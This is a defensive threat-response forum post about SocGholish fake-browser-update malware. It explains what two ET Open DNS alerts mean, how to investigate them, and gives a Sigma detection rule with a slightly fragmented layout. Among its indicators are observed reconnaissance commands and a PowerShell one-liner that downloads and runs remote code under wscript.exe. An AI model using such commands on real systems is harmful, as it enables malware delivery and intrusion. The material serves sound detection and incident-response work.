ET SocGholish Rules Response Guidance

What is SocGholish?

SocGholish is an opportunistic threat that uses malicious JavaScript injects in legitimate websites to serve a Fake Browser Update that downloads a .js file, usually compressed in a .zip file. You can learn more in the Threat Insight blogs at part 1 and part 2 or Proofpoint Researcher Andrew Northern’s Webinar.

What detections do we have?

In our tracking of SocGholish we have made Stage 2 (Shadowed) Domains as well as the Stage 3 Command-and-Control (CnC) domains available as a part of our ET Open Ruleset. They can be identified by names of “ET MALWARE SocGholish Domain in DNS Lookup ()” and “ET MALWARE SocGholish CnC Domain in DNS Lookup ()”. These domains are added as we identify them and are not used in non-SocGholish traffic, so they should not False Positive. We also remove domains that are no longer in use within a week or two to ensure that all alerts are current.

How to respond to alerts?

I wanted to briefly share some insights to investigate the activity when you get a SocGholish alert. The response and severity vary depending on which alert you see.

ET MALWARE SocGholish Domain in DNS Lookup:

This alert is triggered by a DNS request for a Shadowed Stage 2 domain and means that an end user visited a website that was infected with a SocGholish inject and started the chain of JavaScript requests. We have seen a few different HTTP requests occur with this traffic (see in IOCs below) that eventually may serve the fake update payload in a plain .js file or an archived .js file.

These alerts do not indicate an active infection but are worth investigating to verify that the Fake Update payload was not downloaded and executed. As we only do a daily rule release, there is a short delay between a new Command and Control Domain being identified and it being in the open ruleset. The “Stage 2” domains are usually created with Domain Shadowing, so may be related to clean domains, but themselves are malicious. There are usually between 8 and 12 “Stage 2” domain active at any time and they last anywhere from 1 to 3 months.

Next steps for investigation would be to identify the host that made the DNS requests and see if there was a .js or .zip file downloaded and executed.

ET MALWARE SocGholish CnC Domain in DNS Lookup:

If you receive a SocGholish CnC Domain alert, it means that the .js payload was executed by an end user. The .js payload will make a variety of HTTP POST requests (see URIs in IOCs below). The payload has been seen dropping NetSupport RAT in some cases and in others dropping Cobalt Strike. It is important to react quickly as there have been reports of a short dwell time (time between initial infection and follow on malware, which includes ransomware) with SocGholish infections. The CnC domains change anywhere from once every two weeks to every couple of days.

On an infected host you will see a variety of commands run with a parent process of wscript.exe (shown in IOCs below). Make sure to identify the host and isolate to prevent the spread of the infection.


Sigma Rule:

title: Potential SocGholish C2 DNS Query 
status: experimental 
description: Detects a DNS query initiated from a "wscript" process for domains matching a specific pattern that was seen being used by SocGholish for its Command and Control traffic 
author: Dusty Miller 
date: 2023/02/23 
    - attack.command_and_control 
    - attack.t1219 
    product: windows 
    category: dns_query 
        Image|endswith: '\wscript.exe' 
        QueryName|re: '[a-f0-9]{4,8}\.(?:[a-z0-9\-]+\.){2}[a-z0-9\-]+' 
    condition: selection 
     - Legitimate domain names matching the regex pattern by chance (e.g. domain controllers 
level: high 

Example Commands:

Wscript.exe spawning multiple child processes 
Cmd.exe /C “whoami /all” 
Cmd.exe /C “nltest /dclist:” 
Wscript.exe running “powershell -w h -c "iwr -usebasicparsing <url> |iex” 

Stage 2 URIs:

/report?r=<base64 string> (Not used anymore)
/<44- or 64-character base64 string> (this can include “/” that may look like a path but are a part of the domain) 



Stage 3 (C2) URIs:


This is a great summary of how to interpret these rules, @dumiller. I appreciate this post!

1 Like